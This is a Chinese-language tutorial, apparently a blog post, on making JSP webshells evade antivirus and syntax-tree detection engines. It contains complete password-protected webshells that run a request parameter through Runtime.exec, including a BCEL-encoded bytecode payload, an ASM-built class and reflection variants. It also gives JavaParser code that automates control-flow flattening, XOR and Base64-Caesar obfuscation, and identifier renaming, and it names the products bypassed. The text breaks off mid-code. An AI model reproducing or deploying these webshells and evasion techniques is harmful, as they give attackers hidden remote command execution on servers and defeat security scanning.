• JSP Webshell 免杀


    分享一些利用JSP特性来对抗语法树类引擎的技巧。

    一、“非主流”JSP语法

    上面提到JSP在第一次运行的时候会先被Web容器,如Tomcat翻译成Java文件,然后才会被Jdk编译成为Class加载到jvm虚拟机中运行。JDK在编译的时候只看java文件的格式是否正确。而Tomcat在翻译JSP的不会检查其是否合乎语法。

    所以我们就可以利用这一点,故意构造出不符合语法规范的JSP样本,来对抗检测引擎的AST分析。

    可以看到编译后的文件刚好把上下文的try catch闭合,形成了合法的Java源文件,所以能够通过JDK的编译正常运行。

    二、“特殊”内置对象

    继续来看翻译后的Java文件,可以看的Servlet继承了org.apache.jasper.runtime.HttpJspBase类。

    在_jspService中有我们写的业务逻辑,在此之前可以看到一系列包括request,response,pageContext等内置对象的赋值操作。其中发现pageContext会赋值给_jspx_page_context,所以就可以直接使用_jspx_page_context来代替pageContext,帮助我们获取参数。 

    引擎如果没有识别出_jspx_page_context就可能当作未定义变量来处理,从而导致污点丢失。

    三、利用Unicode编码

    JSP可以识别Unicode编码后的代码,这个特性已经被大家所知。如果引擎没有对样本进行Unicode解码处理,就可以直接造成降维打击。

    四、利用HTML实体编码

    除了JSP以外,还有一种可以动态解析的脚本类型叫JSPX,可以理解成XML格式的JSP文件。在XML里可以通过实体编码来对特殊字符转义,JSPX同样继承了该特性。我们就可以利用这个特点,来对敏感函数甚至全文进行编码。

     

    五、利用CDATA拆分关键字

    XML还有个特性为CDATA区段。

    同样可以利用这一点,将关键字进行拆分打乱,以干扰引擎的分析。

     

    由于安骑士采用的是基于反汇编跟字节码的检测技术,所以并不会被上文中表面形式的混淆所干扰。

    六、Expression免杀

    由于Java面向对象的特性,几乎每个类都不是独立的,背后都是有一系列的继承关系。查杀引擎可能会识别常见的恶意类,但是我们就可以通过查找恶意类的底层实现或者高层包装类进行绕过,从而实现Webshell的免杀

    向下走–寻找底层实现类

    这里以常见的Runtime类跟Expression类为例

    ProcessImpl

    查看Runtime类中exec方法的源码,可以发现exec实际上调用了ProcessBuilder的start方法。

    进一步查看ProcessBuilder可以发现是触发了java.lang.ProcessImpl的start方法。

    跟进ProcessImpl的start发现最后调用了其构造方法。

     

    看一下ProcessImpl的构造方法是private类型的,并且没有任何共有构造器,所以直接实例化ProcessImpl就会报错。

    在Java中,如果想要阻止一个类直接被实例化一般有两种方法,一种是直接把类名用private修饰,另一种是只设置私有的构造器。虽然我们不能直接new一个ProcessImpl,但是可以利用反射去调用非public类的方法。

    Statement

    上文中提到了Expression的getValue方法可以实现表达式的执行,看一下他的源码的内容。

    发现Expression类继承了Statement,并且再构造函数中调用的也是父类的构造函数。

     

    查看getValue方法,发现调用了父类的invoke函数。

    查看invoke函数,跳转到了java.beans.Statement#invoke。 

    跟进java.beans.Statement#invokeInternal发现底层的实现其实就是反射

    综上所述,Expression的getValue实际上是调用了Statement类的invoke()函数,再通过一系列的反射实现表达式的计算。但是invoke函数不是public类型的,不能直接调用。但是我们可以发现同类中的java.beans.Statement#execute方法调用了invoke,且同时满足是public类型,可以直接调用。Statement类也是public的,可以直接new,所以我们就可以构造出一个新的利用方式。

    ELManager

    查看ELProcessor的eval的底层实现,找到javax.el.ELProcessor#getValue

    其实是调用了this.factory的createValueExpression方法,跟进this.factory发现是ELProcessor类的构造方法中通过ELManager.getExpressionFactory()获取的。

    所以就可以构造如下形式进行绕过。

    向上走–寻找调用跟包装类

    既然可以用底层类来绕过,那么我们当然可以寻找哪些类对我们的恶意类进行了调用跟包装。

    sun.net.www.MimeLauncher

    从源码中可以看到sun.net.www.MimeLauncher#run方法中最后调用了Runtime类的exec方法

    但是这个类是package-private修饰的,所以不能直接调用。不过没关系,我们还有反射。

    构造所需参数,然后通过反射调用run方法

     

    在源码中grep一下关键字可以看到同样的类还有几个,这里不再赘述。

    七、BCEL字节码免杀

    来自Java安全界比较知名的BCELClassLoader,不过对于JDK的版本有一定的限制。

    在工具中实现了静态BCEL字节码和ASM动态构造的两种免杀Webshell。

    处理前的静态JSP如下:

    1. <%@ page language="java" pageEncoding="UTF-8" %>
    2. <%! String PASSWORD = "4ra1n"; %>
    3. <%
    4. String cmd = request.getParameter("cmd");
    5. String pwd = request.getParameter("pwd");
    6. if (!pwd.equals(PASSWORD)) {
    7. return;
    8. }
    9. String bcelCode = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85U$5bW$hU$U$fe$86$ML$Y$86B$93R$$Z$bcQ$hn$j$ad$b7Z$w$da$mT4$5c$84$W$a4x$9bL$Oa$e8d$sN$s$I$de$aa$fe$86$fe$87$beZ$97$86$$q$f9$e8$83$8f$fe$M$7f$83$cb$fa$9dI$I$89$84$e5$ca$ca$3es$f6$de$b3$f7$b7$bf$bd$cf$99$3f$fe$f9$e57$A$_$e3$7b$jC$98$d6$f0$a6$8e6$b9$be$a5$e1$86$8e4f$a4x$5b$c7$y$e6t$b4$e3$a6$O$V$efH1$_$j$df$8d$e3$3d$b9f$3a$d1$8b$F$N$8b$3a$96$b0$i$c7$fb$3aV$b0$aa$e3$WnK$b1$a6c$j$ltb$Dw$e2$d8$d4$f1$n$3e$d2$f0$b1$82X$mJ$K$S$99$jk$d72$5d$cb$cb$9b$aba$e0x$f9$v$F$j$d7$j$cf$J$a7$V$f4$a5N$9aG$d7$U$a83$7eN$u$e8$c98$9eX$y$X$b2$o$b8ee$5d$n$c3$f9$b6$e5$aeY$81$p$f75$a5$gn$3bL$a5g$d2$b6pgw$j$97$vbv$n$a7$a0$bb$U$c5L$97$j7$t$C$F$83$t$d2$d5L$7c$e3L$b6$bc$b5$r$C$91$5b$RV$e4$3cPuv$7c3$ddd$a1$af$ea$S$Y$c3$af$86$96$7dw$c1$wF$40$c8$90$86O$c82$J$s$9a$d9$3d$5b$UC$c7$f7J$g$3eU$Q$P$fdjF$F$e7R$a3$adXQ$L$96$e3$v8$9f$da$3c$85$U$x$c8$b3$ccd$L$b3$82$$$c7$x$96Cn$85U$m$afu$e8$f3$c7jz$b5g$f7C$d9$95$b6$cd4$e3$d9$R$c9$fa$aa_$Ol1$e7H$w$bb$8f$u$bc$y$D$Y$b8$AKA$ff$v$a4$Rkk$86Ht$8b$fcU$9b$86$ac$B$h9$D$C$5b$g$f2$G$b6$e1$c8D$3bR$dc5$e0$e2$8a$81$C$c8$84$a2$hxQ$ee$9e$c0$93$q$f0$I$9a$G$df$40$R$9f$b1eu$b4$b6k$95$c8s$60$a0$84PC$d9$c0$$$3e7$b0$87$7d$N_$Y$f8$S_i$f8$da$c07$b8$c7$40$p$p$e9$99$d9$cc$c8$88$86o$N$7c$87a$F$bd$c7$V$$ew$84$j6$a9$8e$fa$96$ac$X$b5To$$$t$z$r$9bs$f6$d8$7d$a5$ec$85NA2$9b$Xa$7d$d3$d7$d4$f4$9aZv$5d$ec$J$5b$c1$a5V$t$a1A$b5$i$f8$b6$u$95$a6$9a2$d5$94$q$82$99$e6$h$H$a0$ff$u$db$89$R$YH$b54$c8$g$92$c7$a6$da$a4Km$9c$f6$5c$s$9a$f7$O$abX$U$k$cf$d5$e4$ff$a0$fd$ef$d9$ea96$cd$c8NU$RG$8f$Z$bf61M$fc4$98$f8z_K$D$BK$82E$v$9a$df$h$a5$a3$daGO$Hw$82$8dd$L$b5$82N$w$j$b7z$b9$b0$bd$f3$ec$92$q$81$e7$t$b5$99$96$db$x$b6_0Ke$cf$f4$83$bci$V$z$7b$5b$98Y$ce$a2$e9x$a1$I$3c$cb5$a3$81$dc$e2$992o$87$8e$eb$84$fbdOx$d5$T$d7$cf$uwZ$5e$B$8dC$b7_$K$F$b1$c4$fcr$d8x$a0$97$e9$da$C$7f$83Z$81V$94$3b$d7$c33$bc$b9$87$f8$JP$f8$e7$n$a2$8c$f1$f9$C$86y$ad$3f$c5$dd$9f$e8$e0$bd$P$dc$i$3b$80r$88$b6$8d$D$c4$W$O$a1n$i$a2$7d$e3$R$3a$c6$x$d0$w$88$l$a0$f3$A$fa$e2d$F$5d$h$d7$d4$df$91$98$YT$x0$S$dd$U$eb$P$k$ff56Q$c1$99$9f$d1$f30J$f04$e504$ca$$$7eJ$M$fe$baq$R$3d0$Jf$g$J$cc$nI$60$f2$bb$U$a5$c6$b3x$O$88$9eF$IQ$a1$ff$U$fd$9f$t$c4$8b$b4$5dB$8a1$t$I$7f$94V$VcQ$vm$8fiT5$8ck$98$d00$a9$e12$f07$G$b8c$g$d0M$c1$L$fc$f3$f6$a0$94$95$9a$5c$r$L$edc$3f$a1$e7$H$3e$b4E8$3b$oe$7f$84$c7$a8$3a$d4$f0t$e2$r$o$ac$d2t$9f$IT$aeW$T$bd$V$9cM$q$wHfH$cd$b9_$e3$L$e3$y$bdo$7dB$7d$84$f3$8b$3f$a2$bf$c6ab$80$cc$90$$$83$bcT0$f8$b0$9eo$88$Z$r$fe$$$d6$92$60$p$G$c8$d40s$bcF$ab$c40V$cd$83W$f0j$c4$df$q$zW$89$xA$3e$5e$c75F$Zf$8c$v$be$jk$w$f4z$94$e1$8d$7f$BP$cbmH$f2$H$A$A";
    10. Class c = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");
    11. ClassLoader loader = (ClassLoader) c.newInstance();
    12. Class clazz = loader.loadClass(bcelCode);
    13. java.lang.reflect.Constructor constructor = clazz.getConstructor(String.class);
    14. Object obj = constructor.newInstance(cmd);
    15. response.getWriter().print("
      ");
    16. response.getWriter().print(obj.toString());
    17. response.getWriter().print("
    ");
  • %>
  • 处理前的动态构造字节码JSP如下:

    1. <%@ page language="java" pageEncoding="UTF-8" %>
    2. <%@ page import="static jdk.internal.org.objectweb.asm.Opcodes.*" %>
    3. <%! String PASSWORD = "4ra1n"; %>
    4. <%
    5. jdk.internal.org.objectweb.asm.ClassWriter classWriter = new jdk.internal.org.objectweb.asm.ClassWriter(
    6. jdk.internal.org.objectweb.asm.ClassWriter.COMPUTE_FRAMES);
    7. jdk.internal.org.objectweb.asm.FieldVisitor fieldVisitor;
    8. jdk.internal.org.objectweb.asm.MethodVisitor methodVisitor;
    9. classWriter.visit(V1_8, ACC_PUBLIC | ACC_SUPER, "sample/ByteCodeEvil", null, "java/lang/Object", null);
    10. fieldVisitor = classWriter.visitField(0, "res", "Ljava/lang/String;", null, null);
    11. fieldVisitor.visitEnd();
    12. methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "", "(Ljava/lang/String;)V", null, new String[]{"java/io/IOException"});
    13. methodVisitor.visitCode();
    14. methodVisitor.visitVarInsn(ALOAD, 0);
    15. methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "", "()V", false);
    16. methodVisitor.visitTypeInsn(NEW, "java/lang/StringBuilder");
    17. methodVisitor.visitInsn(DUP);
    18. methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "", "()V", false);
    19. methodVisitor.visitVarInsn(ASTORE, 2);
    20. methodVisitor.visitTypeInsn(NEW, "java/io/BufferedReader");
    21. methodVisitor.visitInsn(DUP);
    22. methodVisitor.visitTypeInsn(NEW, "java/io/InputStreamReader");
    23. methodVisitor.visitInsn(DUP);
    24. methodVisitor.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
    25. methodVisitor.visitVarInsn(ALOAD, 1);
    26. methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
    27. methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Process", "getInputStream", "()Ljava/io/InputStream;", false);
    28. methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/io/InputStreamReader", "", "(Ljava/io/InputStream;)V", false);
    29. methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/io/BufferedReader", "", "(Ljava/io/Reader;)V", false);
    30. methodVisitor.visitVarInsn(ASTORE, 3);
    31. jdk.internal.org.objectweb.asm.Label label0 = new jdk.internal.org.objectweb.asm.Label();
    32. methodVisitor.visitLabel(label0);
    33. methodVisitor.visitVarInsn(ALOAD, 3);
    34. methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/io/BufferedReader", "readLine", "()Ljava/lang/String;", false);
    35. methodVisitor.visitInsn(DUP);
    36. methodVisitor.visitVarInsn(ASTORE, 4);
    37. jdk.internal.org.objectweb.asm.Label label1 = new jdk.internal.org.objectweb.asm.Label();
    38. methodVisitor.visitJumpInsn(IFNULL, label1);
    39. methodVisitor.visitVarInsn(ALOAD, 2);
    40. methodVisitor.visitVarInsn(ALOAD, 4);
    41. methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
    42. methodVisitor.visitLdcInsn("\n");
    43. methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
    44. methodVisitor.visitInsn(POP);
    45. methodVisitor.visitJumpInsn(GOTO, label0);
    46. methodVisitor.visitLabel(label1);
    47. methodVisitor.visitVarInsn(ALOAD, 0);
    48. methodVisitor.visitVarInsn(ALOAD, 2);
    49. methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false);
    50. methodVisitor.visitFieldInsn(PUTFIELD, "sample/ByteCodeEvil", "res", "Ljava/lang/String;");
    51. methodVisitor.visitInsn(RETURN);
    52. methodVisitor.visitMaxs(6, 5);
    53. methodVisitor.visitEnd();
    54. methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "toString", "()Ljava/lang/String;", null, null);
    55. methodVisitor.visitCode();
    56. methodVisitor.visitVarInsn(ALOAD, 0);
    57. methodVisitor.visitFieldInsn(GETFIELD, "sample/ByteCodeEvil", "res", "Ljava/lang/String;");
    58. methodVisitor.visitInsn(ARETURN);
    59. methodVisitor.visitMaxs(1, 1);
    60. methodVisitor.visitEnd();
    61. classWriter.visitEnd();
    62. byte[] code = classWriter.toByteArray();
    63. String cmd = request.getParameter("cmd");
    64. String pwd = request.getParameter("pwd");
    65. if (!pwd.equals(PASSWORD)) {
    66. return;
    67. }
    68. String byteCode = com.sun.org.apache.bcel.internal.classfile.Utility.encode(code, true);
    69. byteCode = "$$BCEL$$" + byteCode;
    70. Class c = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");
    71. ClassLoader loader = (ClassLoader) c.newInstance();
    72. Class clazz = loader.loadClass(byteCode);
    73. java.lang.reflect.Constructor constructor = clazz.getConstructor(String.class);
    74. Object obj = constructor.newInstance(cmd);
    75. response.getWriter().print("
      ");
    76. response.getWriter().print(obj.toString());
    77. response.getWriter().print("
    ");
  • %>
  • 八、一句话免杀

    这个Webshell是会直接被Windows Defender杀的,百度WEBDIR+也会杀。

    <% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

    尝试拆开一句话,再加入回显和消除乱码,得到这样的代码:

    1. <%@ page language="java" pageEncoding="UTF-8" %>
    2. <%
    3. Runtime rt = Runtime.getRuntime();
    4. String cmd = request.getParameter("cmd");
    5. Process process = rt.exec(cmd);
    6. java.io.InputStream in = process.getInputStream();
    7. // 回显
    8. out.print("
      ");
    9. // 网上流传的回显代码略有问题,建议采用这种方式
    10. java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
    11. java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
    12. String s = null;
    13. while ((s = stdInput.readLine()) != null) {
    14. out.println(s);
    15. }
    16. out.print("
    ");
  • %>
  • 绕过了Windows Defender和百度WEBDIR+,然而我们不能满足于当前的情况,因为这些平台的查杀力度并不是很强。

    再这个基础上,可以加入反射调用来做进一步的免杀。

    1. <%@ page language="java" pageEncoding="UTF-8" %>
    2. <%
    3. // 加入一个密码
    4. String PASSWORD = "password";
    5. String passwd = request.getParameter("pwd");
    6. String cmd = request.getParameter("cmd");
    7. if (!passwd.equals(PASSWORD)) {
    8. return;
    9. }
    10. // 反射调用
    11. Class rt = Class.forName("java.lang.Runtime");
    12. java.lang.reflect.Method gr = rt.getMethod("getRuntime");
    13. java.lang.reflect.Method ex = rt.getMethod("exec", String.class);
    14. Process process = (Process) ex.invoke(gr.invoke(null), cmd);
    15. // 类似上文做回显
    16. java.io.InputStream in = process.getInputStream();
    17. out.print("
      ");
    18. java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
    19. java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
    20. String s = null;
    21. while ((s = stdInput.readLine()) != null) {
    22. out.println(s);
    23. }
    24. out.print("
    ");
  • %>
  • 九、控制流平坦化

    在反射调用的基础上结合控制流平坦化的思想后,会达到怎样的效果呢?

    对于控制流平坦化的概念笔者其实并不是非常清晰,大致来说就是将代码转为switch块和分发器。

    以下是上文反射代码修改后的结果,可以手动也可以写脚本来生成。

    1. // 这里给出的是规定顺序的分发器
    2. String dispenserArr = "0|1|2|3|4|5|6|7|8|9|10|11|12";
    3. String[] b = dispenserArr.split("\\|");
    4. int index = 0;
    5. // 声明变量
    6. String passwd = null;
    7. String cmd = null;
    8. Class rt = null;
    9. java.lang.reflect.Method gr = null;
    10. java.lang.reflect.Method ex = null;
    11. Process process = null;
    12. java.io.InputStream in = null;
    13. java.io.InputStreamReader resulutReader = null;
    14. java.io.BufferedReader stdInput = null;
    15. while (true) {
    16. int op = Integer.parseInt(b[index++]);
    17. switch (op) {
    18. case 0:
    19. passwd = request.getParameter("pwd");
    20. break;
    21. case 1:
    22. cmd = request.getParameter("cmd");
    23. break;
    24. case 2:
    25. if (!passwd.equals(PASSWORD)) {
    26. return;
    27. }
    28. break;
    29. case 3:
    30. rt = Class.forName("java.lang.Runtime");
    31. break;
    32. case 4:
    33. gr = rt.getMethod("getRuntime");
    34. break;
    35. case 5:
    36. ex = rt.getMethod("exec", String.class);
    37. break;
    38. case 6:
    39. process = (Process) ex.invoke(gr.invoke(null), cmd);
    40. break;
    41. case 7:
    42. in = process.getInputStream();
    43. break;
    44. case 8:
    45. out.print("
      ");
    46. break;
    47. case 9:
    48. resulutReader = new java.io.InputStreamReader(in);
    49. break;
    50. case 10:
    51. stdInput = new java.io.BufferedReader(resulutReader);
    52. case 11:
    53. String s = null;
    54. while ((s = stdInput.readLine()) != null) {
    55. out.println(s);
    56. }
    57. break;
    58. case 12:
    59. out.print("
    ");
  • break;
  • }
  • }
  • 注意到在开头定义了0|1|2|3|4|5|6|7|8|9|10|11|12这样的字符串,其中数字的顺序对应了switch块中的执行顺序,当前是从第0条到第12条执行。

    在进入switch之前,需要实现声明变量,否则在Java的语法下,单一case语句的变量无法被其他case语句获取。

    当执行完命令后,变量index会超过最大索引,导致报错停止脚本,所以并不会出现占用服务端资源的情况。

    然而在这种情况下,分发器中的数字顺序是一定的,case块的顺序也是一定的,所以需要打乱这些变量实现混淆和免杀,使用了Java的AST库JavaParser解析代码并实现这样的功能:

    1. if (target instanceof StringLiteralExpr) {
    2. // StringLiteralExpr对象就是简单的字符串
    3. String value = ((StringLiteralExpr) target).getValue();
    4. // 如果包含了这个符号认为是分发器
    5. if (value.contains("|")) {
    6. String[] a = value.split("\\|");
    7. int length = a.length;
    8. // 一个简单的数组打乱算法
    9. for (int i = length; i > 0; i--) {
    10. int randInd = rand.nextInt(i);
    11. String temp = a[randInd];
    12. a[randInd] = a[i - 1];
    13. a[i - 1] = temp;
    14. }
    15. // 打乱后的数字再用|拼起来
    16. StringBuilder sb = new StringBuilder();
    17. for (String s : a) {
    18. sb.append(s).append("|");
    19. }
    20. String finalStr = sb.toString();
    21. finalStr = finalStr.substring(0, finalStr.length() - 1);
    22. // 打乱后的分发器设置回去
    23. ((StringLiteralExpr) target).setValue(finalStr);
    24. result = finalStr;
    25. }
    26. }

    打乱switch-case块的代码:

    1. String[] a = target.split("\\|");
    2. // 得到Switch语句为了后文的替换
    3. SwitchStmt stmt = method.findFirst(SwitchStmt.class).isPresent() ?
    4. method.findFirst(SwitchStmt.class).get() : null;
    5. if (stmt == null) {
    6. return;
    7. }
    8. // 得到所有的Case块
    9. List entryList = method.findAll(SwitchEntry.class);
    10. for (int i = 0; i < entryList.size(); i++) {
    11. // Case块的Label是数字
    12. if (entryList.get(i).getLabels().get(0) instanceof IntegerLiteralExpr) {
    13. // 拿到具体的数字对象IntegerLiteralExpr
    14. IntegerLiteralExpr expr = (IntegerLiteralExpr) entryList.get(i).getLabels().get(0);
    15. // 设置为分发器对应的顺序数字
    16. expr.setValue(a[i]);
    17. }
    18. }
    19. // 打乱Case块集合
    20. NodeList switchEntries = new NodeList<>();
    21. Collections.shuffle(entryList);
    22. switchEntries.addAll(entryList);
    23. // 塞回原来的Switch中
    24. stmt.setEntries(switchEntries);

    经过打乱后的效果还是比较满意的:

    1. String dispenserArr = "1|2|9|4|11|10|3|8|7|12|5|0|6";
    2. String[] b = dispenserArr.split("\\|");
    3. ...
    4. while (true) {
    5. int op = Integer.parseInt(b[index++]);
    6. switch(op) {
    7. case 11:
    8. gr = rt.getMethod("getRuntime");
    9. break;
    10. case 0:
    11. String s = null;
    12. while ((s = stdInput.readLine()) != null) {
    13. out.println(s);
    14. }
    15. break;
    16. case 5:
    17. stdInput = new java.io.BufferedReader(resulutReader);
    18. case 12:
    19. resulutReader = new java.io.InputStreamReader(in);
    20. break;
    21. case 4:
    22. rt = Class.forName("java.lang.Runtime");
    23. break;
    24. ...
    25. }
    26. }

    十、异或加密数字

    异或加密很简单:a^b=c那么a^c=b

    如果a变量是加密的目标,我们就可以随机一个b,计算得到的c和b异或回到原来的a

    对于其中的数字,可以采用异或加密,并可以使用多重

    而笔者发现其中的数字变量其实并不够多,那么如何造出来更多的数字变量呢?

    把字符串变量都提到全局数组,然后用数组访问的方式使用字符串

    1. String[] globalArr = new String[]{"0|1|2|3|4|5|6|7|8|9|10|11|12|13", "pwd", "cmd", "java.lang.Runtime",
    2. "getRuntime", "exec", "
      ", "
      "
      };
    3. String temp = globalArr[0];
    4. String[] b = temp.split("\\|");
    5. ...
    6. while (true) {
    7. int op = Integer.parseInt(b[index++]);
    8. switch (op) {
    9. case 0:
    10. passwd = request.getParameter(globalArr[1]);
    11. break;
    12. case 1:
    13. cmd = request.getParameter(globalArr[2]);
    14. break;
    15. ...
    16. }
    17. }

    这时候的globalArr[1]调用方式就可以用异或加密了。

    1. Random random = new Random();
    2. random.setSeed(System.currentTimeMillis());
    3. // 遍历所有的简单数字对象
    4. List integers = method.findAll(IntegerLiteralExpr.class);
    5. for (IntegerLiteralExpr i : integers) {
    6. // 原来的数字a
    7. int value = Integer.parseInt(i.getValue());
    8. // 随机的数字b
    9. int key = random.nextInt(1000000) + 1000000;
    10. // c=a^b
    11. int cipherNum = value ^ key;
    12. // 用一个括号包裹a^b防止异常
    13. EnclosedExpr enclosedExpr = new EnclosedExpr();
    14. BinaryExpr binaryExpr = new BinaryExpr();
    15. // 构造一个c^b
    16. binaryExpr.setLeft(new IntegerLiteralExpr(String.valueOf(cipherNum)));
    17. binaryExpr.setRight(new IntegerLiteralExpr(String.valueOf(key)));
    18. binaryExpr.setOperator(BinaryExpr.Operator.XOR);
    19. // 塞回去
    20. enclosedExpr.setInner(binaryExpr);
    21. i.replace(enclosedExpr);
    22. }

    双重异或加密后的效果:

    1. String[] globalArr = new String[] { "1|11|13|9|5|8|12|3|4|2|10|6|7|0", "pwd", "cmd", "java.lang.Runtime", "getRuntime", "exec", "
      ", "
      "
      };
    2. String temp = globalArr[((1913238 ^ 1011481) ^ (432471 ^ 1361880))];
    3. ...
    4. int index = ((4813 ^ 1614917) ^ (381688 ^ 1926256));
    5. ...
    6. while (true) {
    7. int op = Integer.parseInt(b[index++]);
    8. switch(op) {
    9. case ((742064 ^ 1861497) ^ (1601269 ^ 1006398)):
    10. out.print(globalArr[((367062 ^ 1943510) ^ (1568013 ^ 1037067))]);
    11. break;
    12. case ((108474 ^ 1265634) ^ (575043 ^ 1715728)):
    13. cmd = request.getParameter(globalArr[((735637 ^ 1455096) ^ (115550 ^ 1886513))]);
    14. break;
    15. case ((31179 ^ 1437731) ^ (335232 ^ 1086562)):
    16. resulutReader = new java.io.InputStreamReader(in);
    17. break;
    18. ...
    19. }
    20. }

    十一、加密字符串常量

    提取的globalArr中的字符串是明文的,加密的算法必须是可逆的,因为在执行的时候需要取出来还原。

    选择了比较简单的恺撒加密,没有使用复杂的AES等加密。

    由于恺撒加密无法对特殊字符加密,所以最终选择了Base64加恺撒加密的做法。

    1. // 加密算法
    2. public static String encryption(String str, int offset) {
    3. char c;
    4. StringBuilder str1 = new StringBuilder();
    5. for (int i = 0; i < str.length(); i++) {
    6. c = str.charAt(i);
    7. if (c >= 'a' && c <= 'z') {
    8. c = (char) (((c - 'a') + offset) % 26 + 'a');
    9. } else if (c >= 'A' && c <= 'Z') {
    10. c = (char) (((c - 'A') + offset) % 26 + 'A');
    11. } else if (c >= '0' && c <= '9') {
    12. c = (char) (((c - '0') + offset) % 10 + '0');
    13. } else {
    14. str1 = new StringBuilder(str);
    15. break;
    16. }
    17. str1.append(c);
    18. }
    19. sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder();
    20. return encoder.encode(str1.toString().getBytes(StandardCharsets.UTF_8));
    21. }
    22. // 需要嵌入JSP的解密算法
    23. public static String dec(String str, int offset) {
    24. try {
    25. // 先Base64解码
    26. byte[] code = java.util.Base64.getDecoder().decode(str.getBytes("utf-8"));
    27. str = new String(code);
    28. char c;
    29. // 然后尝试恺撒密码解密
    30. StringBuilder str1 = new StringBuilder();
    31. for (int i = 0; i < str.length(); i++) {
    32. c = str.charAt(i);
    33. if (c >= 'a' && c <= 'z') {
    34. c = (char) (((c - 'a') - offset + 26) % 26 + 'a');
    35. } else if (c >= 'A' && c <= 'Z') {
    36. c = (char) (((c - 'A') - offset + 26) % 26 + 'A');
    37. } else if (c >= '0' && c <= '9') {
    38. c = (char) (((c - '0') - offset + 10) % 10 + '0');
    39. } else {
    40. str1 = new StringBuilder(str);
    41. break;
    42. }
    43. str1.append(c);
    44. }
    45. String result = str1.toString();
    46. // 处理特殊情况
    47. result = result.replace("\\\"","\"");
    48. result = result.replace("\\n","\n");
    49. return result;
    50. } catch (Exception ignored) {
    51. return "";
    52. }
    53. }

    注意到恺撒密码需要一个偏移量,所以需要保存下这个偏移写入JSP:

    1. Random random = new Random();
    2. random.setSeed(System.currentTimeMillis());
    3. // 随机偏移
    4. int offset = random.nextInt(9) + 1;
    5. // 得到字符串
    6. List stringList = method.findAll(StringLiteralExpr.class);
    7. for (StringLiteralExpr s : stringList) {
    8. if (s.getParentNode().isPresent()) {
    9. // 如果是数组中的字符串
    10. if (s.getParentNode().get() instanceof ArrayInitializerExpr) {
    11. // 进行加密
    12. String encode = EncodeUtil.encryption(s.getValue(), offset);
    13. // 可能会有意外的换行
    14. encode = encode.replace(System.getProperty("line.separator"), "");
    15. // 设置回去
    16. s.setValue(encode);
    17. }
    18. }
    19. }
    20. // 记录偏移量
    21. return offset;

    重点来了,在被加密的字符串调用的时候需要添加上解密函数

    效果是:globalArr[1] -> dec(global[1])

    1. public static void changeRef(MethodDeclaration method, int offset) {
    2. // 所有的数组访问对象
    3. List arrayExpr = method.findAll(ArrayAccessExpr.class);
    4. for (ArrayAccessExpr expr : arrayExpr) {
    5. // 如果访问的是globalArr
    6. if (expr.getName().asNameExpr().getNameAsString().equals("globalArr")) {
    7. // 造一个方法调用对象,调用的是解密dec方法
    8. MethodCallExpr methodCallExpr = new MethodCallExpr();
    9. methodCallExpr.setName("dec");
    10. methodCallExpr.setScope(null);
    11. // dec方法参数需要是NodeList对象
    12. NodeList nodeList = new NodeList<>();
    13. ArrayAccessExpr a = new ArrayAccessExpr();
    14. a.setName(expr.getName());
    15. a.setIndex(expr.getIndex());
    16. // 第一个参数为原来的数组调用
    17. nodeList.add(a);
    18. // 记录的offset需要传入第二个参数
    19. IntegerLiteralExpr intValue = new IntegerLiteralExpr();
    20. // 塞回去
    21. intValue.setValue(String.valueOf(offset));
    22. nodeList.add(intValue);
    23. methodCallExpr.setArguments(nodeList);
    24. expr.replace(methodCallExpr);
    25. }
    26. }
    27. }

    处理后的结果,结合异或加密来看效果很不错。

    1. String[] globalArr = new String[] { "M3w4fDV8OXwyfDB8NHw2fDEwfDEzfDF8MTF8MTJ8Nw==", "dWJp", "aHJp", "amF2YS5sYW5nLlJ1bnRpbWU=", "bGp5V3pzeW5yag==", "amNqaA==", "PHByZT4=", "PC9wcmU+" };
    2. ...
    3. while (true) {
    4. int op = Integer.parseInt(b[index++]);
    5. switch(op) {
    6. case ((268173 ^ 1238199) ^ (588380 ^ 1968486)):
    7. ex = rt.getMethod(dec(globalArr[((895260 ^ 1717841) ^ (247971 ^ 1333227))], ((706827 ^ 1975965) ^ (557346 ^ 1863345))), String.class);
    8. break;
    9. break;
    10. case ((713745 ^ 1371509) ^ (428255 ^ 1606073)):
    11. gr = rt.getMethod(dec(globalArr[((254555 ^ 1810726) ^ (282391 ^ 1838190))], ((414648 ^ 1339706) ^ (324750 ^ 1496585))));
    12. break;
    13. case ((63576 ^ 1062484) ^ (129115 ^ 1128030)):
    14. rt = Class.forName(dec(globalArr[((193062 ^ 1348770) ^ (1652640 ^ 1003815))], ((369433 ^ 1334986) ^ (200734 ^ 1240520))));
    15. break;
    16. ...
    17. }
    18. }

    十二、标识符随机命名

    还差一步,需要对其中所有的标识符进行随机命名。

    这一步不难,拿到所有的NameExpr对name属性做修改即可。

    1. Map<String,String> vas = new HashMap<>();
    2. // 所有的变量声明
    3. List vaList = method.findAll(VariableDeclarator.class);
    4. for(VariableDeclarator va:vaList){
    5. // 将变量名都随机修改
    6. String newName = RandomUtil.getRandomString(20);
    7. // 注意记录变量的映射关系
